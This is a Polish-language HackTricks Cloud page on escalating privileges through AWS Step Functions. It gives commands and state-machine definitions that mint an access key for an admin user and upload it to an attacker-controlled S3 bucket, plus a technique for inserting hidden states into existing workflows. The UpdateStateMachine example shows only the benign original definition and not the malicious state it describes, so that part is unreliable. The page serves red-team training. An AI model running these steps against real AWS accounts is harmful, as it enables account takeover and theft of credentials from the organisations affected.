AWS - Step Functions Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Step Functions
Aby uzyskać więcej informacji o tej usłudze AWS, zobacz:
Zasoby Task
Te privilege escalation techniques będą wymagały użycia niektórych zasobów Step Functions, aby wykonać żądane privilege escalation actions.
Aby sprawdzić wszystkie możliwe akcje, możesz przejść do swojego konta AWS, wybrać akcję, którą chcesz użyć, i zobaczyć używane przez nią parametry, jak na przykład:

Możesz też przejść do dokumentacji API AWS i sprawdzić dokumentację każdej akcji:
states:TestState & iam:PassRole
Atakujący posiadający uprawnienia states:TestState i iam:PassRole może testować dowolny stan i przekazywać mu dowolną rolę IAM bez tworzenia lub aktualizacji istniejącej state machine, co potencjalnie pozwala na nieautoryzowany dostęp do innych AWS services z uprawnieniami tych ról. W połączeniu te uprawnienia mogą prowadzić do szerokich nieautoryzowanych działań — od manipulacji workflows i zmiany danych po wycieki danych, manipulację zasobami oraz privilege escalation.
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Poniższe przykłady pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika admin, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Ta rola powinna mieć przypisaną politykę o wysokich uprawnieniach (na przykład arn:aws:iam::aws:policy/AdministratorAccess), która pozwala stanowi wykonać akcję iam:CreateAccessKey:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Polecenie wykonane w celu przeprowadzenia privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Potencjalny wpływ: Nieautoryzowane uruchamianie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Atakujący posiadający uprawnienia states:CreateStateMachine i iam:PassRole będzie w stanie utworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwi nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej privesc technique (states:TestState & iam:PassRole), ta metoda nie wykonuje się sama — potrzebne będą również uprawnienia states:StartExecution lub states:StartSyncExecution (states:StartSyncExecution nie jest dostępne dla standard workflows, tylko dla express state machines), aby uruchomić wykonanie maszyny stanów.
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Następujące przykłady pokazują, jak utworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika admin i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego bucketu S3, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Ta rola powinna mieć przypisaną politykę o wysokich uprawnieniach (na przykład arn:aws:iam::aws:policy/AdministratorAccess), która pozwala maszynie stanów wykonać akcje iam:CreateAccessKey i s3:putObject.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Command wykonany w celu create the state machine:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Command wykonane w celu start an execution wcześniej utworzonej state machine:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
Warning
The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.
Potencjalny wpływ: Nieautoryzowane wykonywanie i manipulacja workflowami oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
states:UpdateStateMachine & (nie zawsze wymagane) iam:PassRole
Atakujący z uprawnieniem states:UpdateStateMachine może zmodyfikować definicję maszyny stanów, dodając dodatkowe ukryte stany, które mogą doprowadzić do eskalacji uprawnień. W ten sposób, gdy prawidłowy użytkownik uruchomi wykonanie maszyny stanów, ten nowy złośliwy, ukryty stan zostanie wykonany i eskalacja uprawnień zakończy się powodzeniem.
W zależności od tego, jak szerokie uprawnienia ma przypisany do maszyny stanów IAM Role, atakujący napotka 2 sytuacje:
- IAM Role o szerokich uprawnieniach: Jeśli IAM Role powiązana z maszyną stanów już ma szerokie uprawnienia (np. ma dołączoną politykę
arn:aws:iam::aws:policy/AdministratorAccess), to uprawnienieiam:PassRolenie będzie wymagane do eskalacji uprawnień — wystarczy zmiana definicji maszyny stanów. - IAM Role bez szerokich uprawnień: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący będzie również potrzebował uprawnienia
iam:PassRole, ponieważ konieczne byłoby powiązanie IAM Role o szerokich uprawnieniach z maszyną stanów oprócz modyfikacji definicji maszyny stanów.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Poniższe przykłady pokazują, jak zaktualizować prawidłową maszynę stanów, która jedynie wywołuje funkcję HelloWorld Lambda, aby dodać dodatkowy stan, który dodaje użytkownika unprivilegedUser do IAM Group administrator. Dzięki temu, gdy prawowity użytkownik uruchomi wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień powiedzie się.
Warning
Jeżeli maszyna stanów nie ma przypisanej roli IAM o szerokich uprawnieniach, konieczne będzie również uprawnienie
iam:PassRole``**, aby zaktualizować rolę IAM w celu powiązania roli IAM o szerokich uprawnieniach (na przykład takiej z dołączoną polityką **arn:aws:iam::aws:policy/AdministratorAccess`).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Polecenie wykonane w celu zaktualizowania oryginalnej maszyny stanów:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Potencjalny wpływ: Nieautoryzowane wykonywanie i manipulowanie przepływami pracy oraz uzyskanie dostępu do zasobów wrażliwych, co może prowadzić do poważnych naruszeń bezpieczeństwa.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

